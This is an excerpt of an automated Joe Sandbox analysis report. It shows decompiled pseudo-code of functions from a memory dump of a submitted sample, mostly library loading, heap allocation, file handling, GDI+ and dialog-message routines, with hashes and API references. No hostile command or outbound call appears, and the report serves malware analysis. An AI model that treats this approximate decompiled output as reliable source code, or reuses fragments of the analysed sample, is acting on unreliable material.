Associated: 0000000E.00000002.473813211.00000000008C5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473853866.00000000008C8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473894427.00000000008C9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_860000_0RWCjOTmPGy8vyz30vD2T7Gp.jbxd

Similarity

API ID: __allrem
String ID:
API String ID: 2933888876-0
Opcode ID: 541436043af4189eb0f2898e7a5c5044bdfcac0b10543d3335e4f9cf67c194aa
Instruction ID: 86e78d4ca435139949d1b87eb88e9b1c5e5011f0fe52c3cd58ffead9ff9fa77f
Opcode Fuzzy Hash: 541436043af4189eb0f2898e7a5c5044bdfcac0b10543d3335e4f9cf67c194aa
Instruction Fuzzy Hash: B3319372E013108FE719DF6CAC54A297BA6F789714B16411AE907E7F61D730AC019F92

Uniqueness

Uniqueness Score: -1.00%

Function 0087F618 Relevance: 1.6, APIs: 1, Instructions: 65
libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 90%

			E0087F618(signed int _a4, CHAR* _a8, intOrPtr* _a12, intOrPtr _a16) {
				struct HINSTANCE__* _t13;
				signed int* _t20;
				signed int _t27;
				signed int _t28;
				signed int _t29;
				signed int _t33;
				intOrPtr* _t34;

				_t20 = 0x8c8c68 + _a4 * 4;
				_t27 =  *0x893688; // 0xe2d35318
				_t29 = _t28 | 0xffffffff;
				_t33 = _t27 ^  *_t20;
				asm("ror esi, cl");
				if(_t33 == _t29) {
					L14:
					return 0;
				}
				if(_t33 == 0) {
					_t34 = _a12;
					if(_t34 == _a16) {
						L7:
						_t13 = 0;
						L8:
						if(_t13 == 0) {
							L13:
							_push(0x20);
							asm("ror edi, cl");
							 *_t20 = _t29 ^ _t27;
							goto L14;
						}
						_t33 = GetProcAddress(_t13, _a8);
						if(_t33 == 0) {
							_t27 =  *0x893688; // 0xe2d35318
							goto L13;
						}
						 *_t20 = E0087C5E8(_t33);
						goto L2;
					} else {
						goto L4;
					}
					while(1) {
						L4:
						_t13 = E0087F6B4( *_t34); // executed
						if(_t13 != 0) {
							break;
						}
						_t34 = _t34 + 4;
						if(_t34 != _a16) {
							continue;
						}
						_t27 =  *0x893688; // 0xe2d35318
						goto L7;
					}
					_t27 =  *0x893688; // 0xe2d35318
					goto L8;
				}
				L2:
				return _t33;
			}

0x0087f623
0x0087f62c
0x0087f632
0x0087f63c
0x0087f63e
0x0087f642
0x0087f6ad
0x00000000
0x0087f6ad
0x0087f646
0x0087f64c
0x0087f652
0x0087f66e
0x0087f66e
0x0087f670
0x0087f672
0x0087f69d
0x0087f69f
0x0087f6a7
0x0087f6ab
0x00000000
0x0087f6ab
0x0087f67e
0x0087f682
0x0087f697
0x00000000
0x0087f697
0x0087f68b
0x00000000
0x00000000
0x00000000
0x00000000
0x0087f654
0x0087f654
0x0087f656
0x0087f65e
0x00000000
0x00000000
0x0087f660
0x0087f666
0x00000000
0x00000000
0x0087f668
0x00000000
0x0087f668
0x0087f68f
0x00000000
0x0087f68f
0x0087f648
0x00000000

APIs

GetProcAddress.KERNEL32(00000000,?), ref: 0087F678

Memory Dump Source

Source File: 0000000E.00000002.472630012.0000000000861000.00000020.00000001.01000000.00000009.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000E.00000002.472502125.0000000000860000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473142055.0000000000888000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473282330.0000000000893000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473355190.0000000000899000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473536377.00000000008A5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473813211.00000000008C5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473853866.00000000008C8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473894427.00000000008C9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_860000_0RWCjOTmPGy8vyz30vD2T7Gp.jbxd

Similarity

API ID: AddressProc
String ID:
API String ID: 190572456-0
Opcode ID: 4c0635c7f9a5b1419ad98104688e4b20827a835e12248c6347f7a6850963e231
Instruction ID: 4d16cde3818626f451d2143100696113e9e3bcd5330339b726baaff8229015f6
Opcode Fuzzy Hash: 4c0635c7f9a5b1419ad98104688e4b20827a835e12248c6347f7a6850963e231
Instruction Fuzzy Hash: C3110D33601624AB9B22EE1EDC4085A7395FBB43247168235FE1DEB26DD731DD0197D1

Uniqueness

Uniqueness Score: -1.00%

Function 00872A92 Relevance: 1.5, APIs: 1, Instructions: 43
COMMON

Download Yara Rule

C-Code - Quality: 94%

			E00872A92(void* __ecx, void* __edx, void* __eflags) {
				intOrPtr _t13;
				char _t14;
				char _t15;
				void* _t16;
				void* _t27;
				void* _t32;
				intOrPtr _t34;

				_t27 = __edx;
				E00873A94(0x88713a, _t32);
				_push(__ecx);
				 *((intOrPtr*)(_t32 - 0x10)) = _t34;
				E0087B4DF(0x8bbeba, "X");
				E008669E4(0x8bdedc, _t27, 0x888570);
				E0087B4DF(0x8bceda,  *((intOrPtr*)(_t32 + 0xc)));
				E00861328(0x8b2bc0, _t27,  *((intOrPtr*)(_t32 + 0xc)));
				_t4 = _t32 - 4;
				 *(_t32 - 4) =  *(_t32 - 4) & 0x00000000;
				_t13 = 2;
				 *0x8bae98 = _t13;
				 *0x8bae94 = _t13;
				 *0x8bae90 = _t13;
				_t14 =  *0x8aea31; // 0x0
				 *0x8b9d1b = _t14;
				_t15 =  *0x8aea32; // 0x1
				 *0x8b9d54 = 1;
				 *0x8b9d57 = 1;
				 *0x8b9d1c = _t15; // executed
				_t16 = E0086DC56(0x8b2bc0, _t27,  *_t4); // executed
				 *[fs:0x0] =  *((intOrPtr*)(_t32 - 0xc));
				return _t16;
			}

0x00872a92
0x00872a97
0x00872a9c
0x00872aa0
0x00872aad
0x00872abe
0x00872acb
0x00872ada
0x00872adf
0x00872adf
0x00872ae5
0x00872ae6
0x00872aeb
0x00872af0
0x00872af5
0x00872afa
0x00872aff
0x00872b04
0x00872b0b
0x00872b12
0x00872b17
0x00872b21
0x00872b2a

APIs

__EH_prolog.LIBCMT ref: 00872A97

Part of subcall function 008669E4: _wcslen.LIBCMT ref: 008669FA

Part of subcall function 0086DC56: __EH_prolog.LIBCMT ref: 0086DC5B

Memory Dump Source

Source File: 0000000E.00000002.472630012.0000000000861000.00000020.00000001.01000000.00000009.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000E.00000002.472502125.0000000000860000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473142055.0000000000888000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473282330.0000000000893000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473355190.0000000000899000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473536377.00000000008A5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473813211.00000000008C5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473853866.00000000008C8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473894427.00000000008C9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_860000_0RWCjOTmPGy8vyz30vD2T7Gp.jbxd

Similarity

API ID: H_prolog$_wcslen
String ID:
API String ID: 2838827086-0
Opcode ID: a2d06f5c840f2e794409f200a551e86f1de18ea3da50c0e86d210440517404a6
Instruction ID: 5dc47c81c997fcc5cfc43c59a8055ccfd9d4c9ee7909c4aaae9bb54beee24254
Opcode Fuzzy Hash: a2d06f5c840f2e794409f200a551e86f1de18ea3da50c0e86d210440517404a6
Instruction Fuzzy Hash: 05012436508380AED705ABACEC037983FA0F711314F14810BE294D63A2EBB9A504CB22

Uniqueness

Uniqueness Score: -1.00%

Function 00878592 Relevance: 1.5, APIs: 1, Instructions: 34
libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E00878592(void* __ecx, signed int _a4, CHAR* _a8, intOrPtr _a12, intOrPtr _a16) {
				_Unknown_base(*)()* _t10;
				struct HINSTANCE__* _t12;
				_Unknown_base(*)()* _t13;
				_Unknown_base(*)()** _t19;
				signed int _t20;
				signed int _t21;

				_t19 = 0x8c872c + _a4 * 4;
				_t10 =  *_t19;
				_t21 = _t20 | 0xffffffff;
				if(_t10 == _t21) {
					L6:
					return 0;
				}
				if(_t10 == 0) {
					_t12 = E008784F7(__ecx, _a12, _a16); // executed
					if(_t12 == 0) {
						L5:
						 *_t19 = _t21;
						goto L6;
					}
					_t13 = GetProcAddress(_t12, _a8);
					if(_t13 == 0) {
						goto L5;
					}
					 *_t19 = _t13;
					return _t13;
				}
				return _t10;
			}

0x0087859a
0x008785a1
0x008785a4
0x008785a9
0x008785d6
0x00000000
0x008785d6
0x008785ad
0x008785b5
0x008785be
0x008785d4
0x008785d4
0x00000000
0x008785d4
0x008785c4
0x008785cc
0x00000000
0x00000000
0x008785d0
0x00000000
0x008785d0
0x008785db

APIs

GetProcAddress.KERNEL32(00000000,?), ref: 008785C4

Memory Dump Source

Source File: 0000000E.00000002.472630012.0000000000861000.00000020.00000001.01000000.00000009.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000E.00000002.472502125.0000000000860000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473142055.0000000000888000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473282330.0000000000893000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473355190.0000000000899000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473536377.00000000008A5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473813211.00000000008C5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473853866.00000000008C8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473894427.00000000008C9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_860000_0RWCjOTmPGy8vyz30vD2T7Gp.jbxd

Similarity

API ID: AddressProc
String ID:
API String ID: 190572456-0
Opcode ID: 2265e97719bd2cd2f6fe5e6348c011562343f73b674f4fca00add9a610244990
Instruction ID: f94bd5f0f8562781f1e53446d1a5ea445604499329a7cc0a851c42543d394e5e
Opcode Fuzzy Hash: 2265e97719bd2cd2f6fe5e6348c011562343f73b674f4fca00add9a610244990
Instruction Fuzzy Hash: FFF0A03228825ADFCF118FA8EC4889B77A9FF507607108624FE18D6094EF31D920CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 0087DA90 Relevance: 1.5, APIs: 1, Instructions: 32
memoryCOMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 94%

			E0087DA90(void* __ecx, long _a4) {
				void* _t4;
				void* _t6;
				void* _t7;
				void* _t8;
				long _t9;

				_t7 = __ecx;
				_t9 = _a4;
				if(_t9 > 0xffffffe0) {
					L7:
					 *((intOrPtr*)(E0087DA7D())) = 0xc;
					__eflags = 0;
					return 0;
				}
				if(_t9 == 0) {
					_t9 = _t9 + 1;
				}
				while(1) {
					_t4 = RtlAllocateHeap( *0x8c8d24, 0, _t9); // executed
					if(_t4 != 0) {
						break;
					}
					__eflags = E0087D584();
					if(__eflags == 0) {
						goto L7;
					}
					_t6 = E0087C3DF(_t7, _t8, __eflags, _t9);
					_pop(_t7);
					__eflags = _t6;
					if(_t6 == 0) {
						goto L7;
					}
				}
				return _t4;
			}

0x0087da90
0x0087da96
0x0087da9c
0x0087dace
0x0087dad3
0x0087dad9
0x00000000
0x0087dad9
0x0087daa0
0x0087daa2
0x0087daa2
0x0087dab9
0x0087dac2
0x0087daca
0x00000000
0x00000000
0x0087daaa
0x0087daac
0x00000000
0x00000000
0x0087daaf
0x0087dab4
0x0087dab5
0x0087dab7
0x00000000
0x00000000
0x0087dab7
0x00000000

APIs

RtlAllocateHeap.NTDLL(00000000,?,?,?,00878B1E,?,0000015D,?,?,?,?,00879FFA,000000FF,00000000,?,?), ref: 0087DAC2

Memory Dump Source

Source File: 0000000E.00000002.472630012.0000000000861000.00000020.00000001.01000000.00000009.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000E.00000002.472502125.0000000000860000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473142055.0000000000888000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473282330.0000000000893000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473355190.0000000000899000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473536377.00000000008A5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473813211.00000000008C5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473853866.00000000008C8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473894427.00000000008C9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_860000_0RWCjOTmPGy8vyz30vD2T7Gp.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: ab9e7fd0dd2cef7861ae746bc5621cbf8862ac6637aa9a8eef758c2cc9c0aec1
Instruction ID: 13a4e278b4738b0be15dc2bda691db8223042b404680dabd171d42dd158e6e5e
Opcode Fuzzy Hash: ab9e7fd0dd2cef7861ae746bc5621cbf8862ac6637aa9a8eef758c2cc9c0aec1
Instruction Fuzzy Hash: B6E0653114C334AAEA2126699C05B5BB679FF517F4F19C110FC1DD61DDDE60CC0192E1

Uniqueness

Uniqueness Score: -1.00%

Function 00861B70 Relevance: 1.5, APIs: 1, Instructions: 30
COMMON

Download Yara Rule

C-Code - Quality: 89%

			E00861B70(void* __ecx) {
				void* _t16;
				void* _t21;

				_t21 = __ecx;
				_t16 = 1;
				if( *(__ecx + 8) != 0xffffffff) {
					if( *((char*)(__ecx + 0x15)) == 0 &&  *((intOrPtr*)(__ecx + 0x10)) == 0) {
						_t5 = FindCloseChangeNotification( *(__ecx + 8)) - 1; // -1
						asm("sbb bl, bl");
						_t16 =  ~_t5 + 1;
					}
					 *(_t21 + 8) =  *(_t21 + 8) | 0xffffffff;
				}
				 *(_t21 + 0x10) =  *(_t21 + 0x10) & 0x00000000;
				if(_t16 == 0 &&  *((intOrPtr*)(_t21 + 0x1e)) != _t16) {
					E00861746(0x8b2b44, _t21 + 0x32);
				}
				return _t16;
			}

0x00861b72
0x00861b74
0x00861b7a
0x00861b80
0x00861b91
0x00861b96
0x00861b98
0x00861b98
0x00861b9a
0x00861b9a
0x00861b9e
0x00861ba4
0x00861bb4
0x00861bb4
0x00861bbd

APIs

FindCloseChangeNotification.KERNELBASE(000000FF,?,?,00861B28,?,?,?,?,?,0088700F,000000FF), ref: 00861B8B

Memory Dump Source

Source File: 0000000E.00000002.472630012.0000000000861000.00000020.00000001.01000000.00000009.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000E.00000002.472502125.0000000000860000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473142055.0000000000888000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473282330.0000000000893000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473355190.0000000000899000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473536377.00000000008A5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473813211.00000000008C5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473853866.00000000008C8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473894427.00000000008C9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_860000_0RWCjOTmPGy8vyz30vD2T7Gp.jbxd

Similarity

API ID: ChangeCloseFindNotification
String ID:
API String ID: 2591292051-0
Opcode ID: 0f745d0f41fd2c0407da7c71de5f845652dfd40c8d81cf35013ab6e6268cd675
Instruction ID: c86f05d90a54fd0960fc4d8492c0a78b4757b541e283322456629570cb384514
Opcode Fuzzy Hash: 0f745d0f41fd2c0407da7c71de5f845652dfd40c8d81cf35013ab6e6268cd675
Instruction Fuzzy Hash: E3F0BE70581B018EDF308A34C88C7A2B3E8FB12331F080B5ED0E2829F1E760698E8A00

Uniqueness

Uniqueness Score: -1.00%

Function 008629CB Relevance: 1.5, APIs: 1, Instructions: 27
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E008629CB(void* __ecx, void* __eflags, WCHAR* _a4, intOrPtr _a8) {
				void* _t13;
				intOrPtr _t19;

				_t19 = _a8;
				 *((char*)(_t19 + 0x1044)) = 0;
				if(E00863754(_a4) != 0) {
					L3:
					return 0;
				}
				_t13 = E00862AF9(0xffffffff, _a4, _t19); // executed
				if(_t13 == 0xffffffff) {
					goto L3;
				}
				FindClose(_t13); // executed
				 *(_t19 + 0x1040) =  *(_t19 + 0x1040) & 0x00000000;
				 *((char*)(_t19 + 0x100c)) = E008626ED( *((intOrPtr*)(_t19 + 0x1008)));
				 *((char*)(_t19 + 0x100d)) = E00862704( *((intOrPtr*)(_t19 + 0x1008)));
				return 1;
			}

0x008629cc
0x008629d4
0x008629e2
0x00862a29
0x00000000
0x00862a29
0x008629eb
0x008629f3
0x00000000
0x00000000
0x008629f6
0x00862a02
0x00862a14
0x00862a1f
0x00000000

APIs

Part of subcall function 00862AF9: FindFirstFileW.KERNELBASE(?,?), ref: 00862B22
Part of subcall function 00862AF9: FindFirstFileW.KERNELBASE(?,?,?,?,00000800), ref: 00862B50
Part of subcall function 00862AF9: GetLastError.KERNEL32(?,?,00000800), ref: 00862B5C

FindClose.KERNELBASE(00000000), ref: 008629F6

Memory Dump Source

Source File: 0000000E.00000002.472630012.0000000000861000.00000020.00000001.01000000.00000009.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000E.00000002.472502125.0000000000860000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473142055.0000000000888000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473282330.0000000000893000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473355190.0000000000899000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473536377.00000000008A5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473813211.00000000008C5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473853866.00000000008C8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473894427.00000000008C9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_860000_0RWCjOTmPGy8vyz30vD2T7Gp.jbxd

Similarity

API ID: Find$FileFirst$CloseErrorLast
String ID:
API String ID: 1464966427-0
Opcode ID: 1e0578ffed83ac887c1d39d1b348a739a4ec6232f721150d2897ed13002cc0a9
Instruction ID: 7d5aace30d556505b934c11a7dbb6b3ab0b74eaf097f33212895cce4c01dacdf
Opcode Fuzzy Hash: 1e0578ffed83ac887c1d39d1b348a739a4ec6232f721150d2897ed13002cc0a9
Instruction Fuzzy Hash: DBF08975009BA0ABCE3357F84805BC67B90FF19332F15CA89F1FD92192C6B450999722

Uniqueness

Uniqueness Score: -1.00%

Function 0086E0A6 Relevance: 1.5, APIs: 1, Instructions: 24
COMMON

Download Yara Rule

C-Code - Quality: 64%

			E0086E0A6(void* __edx, void* __esi, void* __eflags) {
				void* _t16;
				void* _t17;
				void* _t26;

				E00873A94(0x8870f6, _t26);
				E00873AC0(0x1038);
				E00861A7F(_t26 - 0x1044);
				 *(_t26 - 4) =  *(_t26 - 4) & 0x00000000;
				_t16 = E00861E20(_t26 - 0x1044, __esi,  *((intOrPtr*)(_t26 + 8)), 0);
				_t30 = _t16;
				if(_t16 != 0) {
					_push( *((intOrPtr*)(_t26 + 0x10)));
					_push( *((intOrPtr*)(_t26 + 0xc)));
					E0086DF72(__edx, _t26, _t30, _t26 - 0x1044);
				}
				_t17 = E00861AEC(_t26 - 0x1044); // executed
				 *[fs:0x0] =  *((intOrPtr*)(_t26 - 0xc));
				return _t17;
			}

0x0086e0ab
0x0086e0b5
0x0086e0c0
0x0086e0c5
0x0086e0d4
0x0086e0d9
0x0086e0db
0x0086e0dd
0x0086e0e6
0x0086e0ea
0x0086e0ea
0x0086e0f5
0x0086e0fd
0x0086e105

APIs

__EH_prolog.LIBCMT ref: 0086E0AB

Part of subcall function 00861E20: CreateFileW.KERNELBASE(?,?,?,00000000,00000003,08000000,00000000), ref: 00861E9F
Part of subcall function 00861E20: GetLastError.KERNEL32 ref: 00861EAC
Part of subcall function 00861E20: CreateFileW.KERNEL32(00000000,?,?,00000000,00000003,08000000,00000000,?,?,00000800), ref: 00861EE2
Part of subcall function 00861E20: GetLastError.KERNEL32 ref: 00861EEA
Part of subcall function 00861E20: SetFileTime.KERNEL32(00000000,00000000,000000FF,00000000), ref: 00861F39

Memory Dump Source

Source File: 0000000E.00000002.472630012.0000000000861000.00000020.00000001.01000000.00000009.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000E.00000002.472502125.0000000000860000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473142055.0000000000888000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473282330.0000000000893000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473355190.0000000000899000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473536377.00000000008A5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473813211.00000000008C5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473853866.00000000008C8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473894427.00000000008C9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_860000_0RWCjOTmPGy8vyz30vD2T7Gp.jbxd

Similarity

API ID: File$CreateErrorLast$H_prologTime
String ID:
API String ID: 3517926197-0
Opcode ID: 1e977c0fac565db537cd56f8cd69202805214ea5d2cea4700cf3a7adf7b3d68f
Instruction ID: 87e5c64f168a68af7e10a24209d469ff2e35f67b61d8673b98d9bc68d1f9a62d
Opcode Fuzzy Hash: 1e977c0fac565db537cd56f8cd69202805214ea5d2cea4700cf3a7adf7b3d68f
Instruction Fuzzy Hash: 68F03071900558ABCF10EF94C956BDCB735FF10300F0080A5B756E6192DB79DB84DB12

Uniqueness

Uniqueness Score: -1.00%

Function 0086F846 Relevance: 1.5, APIs: 1, Instructions: 16
memoryCOMMON

Download Yara Rule

C-Code - Quality: 68%

			E0086F846(signed int __eax, void* __ecx, intOrPtr _a4, intOrPtr _a8) {
				signed int _v8;
				void* _t6;

				_push(__ecx);
				_push(0x10);
				L00873A5D();
				_v8 = __eax;
				if(__eax == 0) {
					return 0;
				}
				_t6 = E0086F5D9(__eax, _a4, _a8); // executed
				return _t6;
			}

0x0086f849
0x0086f84a
0x0086f84c
0x0086f851
0x0086f856
0x00000000
0x0086f867
0x0086f860
0x00000000

APIs

GdipAlloc.GDIPLUS(00000010), ref: 0086F84C

Part of subcall function 0086F5D9: GdipCreateBitmapFromStreamICM.GDIPLUS(?,?), ref: 0086F5FA

Memory Dump Source

Source File: 0000000E.00000002.472630012.0000000000861000.00000020.00000001.01000000.00000009.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000E.00000002.472502125.0000000000860000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473142055.0000000000888000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473282330.0000000000893000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473355190.0000000000899000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473536377.00000000008A5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473813211.00000000008C5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473853866.00000000008C8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473894427.00000000008C9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_860000_0RWCjOTmPGy8vyz30vD2T7Gp.jbxd

Similarity

API ID: Gdip$AllocBitmapCreateFromStream
String ID:
API String ID: 1915507550-0
Opcode ID: 3f5da4e93c1756c5f20b091966d0805785d91aec211097b7481f8b6ebaa856d2
Instruction ID: 6530b5314fb1f4dae2f0d23c3ca5f97016d613b8ba5716f931df889afdeb3faa
Opcode Fuzzy Hash: 3f5da4e93c1756c5f20b091966d0805785d91aec211097b7481f8b6ebaa856d2
Instruction Fuzzy Hash: B3D0A93030020CBBDF016B36AC12D6EBA99FB00340F008031BA66C6182EEB0CE10A2A2

Uniqueness

Uniqueness Score: -1.00%

Function 00872D49 Relevance: 1.5, APIs: 1, Instructions: 13
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00872D49(intOrPtr _a20, intOrPtr _a24, intOrPtr _a28, intOrPtr _a32) {
				void* _t7;

				SendDlgItemMessageW( *0x8aea28, 0x6a, 0x402, E008663D2(_a20, _a24, _a28, _a32), 0); // executed
				_t7 = E008705A8(); // executed
				return _t7;
			}

0x00872d6e
0x00872d74
0x00872d79

APIs

SendDlgItemMessageW.USER32(0000006A,00000402,00000000,00000000,008678B7), ref: 00872D6E

Part of subcall function 008705A8: PeekMessageW.USER32(?,00000000,00000000,00000000,00000000), ref: 008705B9
Part of subcall function 008705A8: GetMessageW.USER32(?,00000000,00000000,00000000), ref: 008705CA
Part of subcall function 008705A8: IsDialogMessageW.USER32(000A016E,?), ref: 008705DE
Part of subcall function 008705A8: TranslateMessage.USER32(?), ref: 008705EC
Part of subcall function 008705A8: DispatchMessageW.USER32(?), ref: 008705F6

Memory Dump Source

Source File: 0000000E.00000002.472630012.0000000000861000.00000020.00000001.01000000.00000009.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000E.00000002.472502125.0000000000860000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473142055.0000000000888000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473282330.0000000000893000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473355190.0000000000899000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473536377.00000000008A5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473813211.00000000008C5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473853866.00000000008C8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473894427.00000000008C9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_860000_0RWCjOTmPGy8vyz30vD2T7Gp.jbxd

Similarity

API ID: Message$DialogDispatchItemPeekSendTranslate
String ID:
API String ID: 897784432-0
Opcode ID: f5b12d6048b39018a3ee86d0186827202c716b6cd8a7dd0bcddd2bb8cff8b230
Instruction ID: 99e5bcf571d1faea6a9b798326744ca29bfcd6322b0469d3b04a286f56c3c934
Opcode Fuzzy Hash: f5b12d6048b39018a3ee86d0186827202c716b6cd8a7dd0bcddd2bb8cff8b230
Instruction Fuzzy Hash: A4D09E72144200AAE7012B51DE06F1A7AB2FB98B04F408554B384744B18672AD30AF06

Uniqueness

Uniqueness Score: -1.00%

Function 008731AB Relevance: 1.5, APIs: 1, Instructions: 10
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E008731AB() {

				E008737B8(0x890d14, 0x8c9140); // executed
				goto __eax;
			}

0x008731bd
0x008731c4

APIs

___delayLoadHelper2@8.DELAYIMP ref: 008731BD

Part of subcall function 008737B8: DloadAcquireSectionWriteAccess.DELAYIMP ref: 008737C3
Part of subcall function 008737B8: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0087382B
Part of subcall function 008737B8: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0087383C

Memory Dump Source

Source File: 0000000E.00000002.472630012.0000000000861000.00000020.00000001.01000000.00000009.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000E.00000002.472502125.0000000000860000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473142055.0000000000888000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473282330.0000000000893000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473355190.0000000000899000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473536377.00000000008A5000.00000004.00000001.01000000.00000009.sdmpDownload File
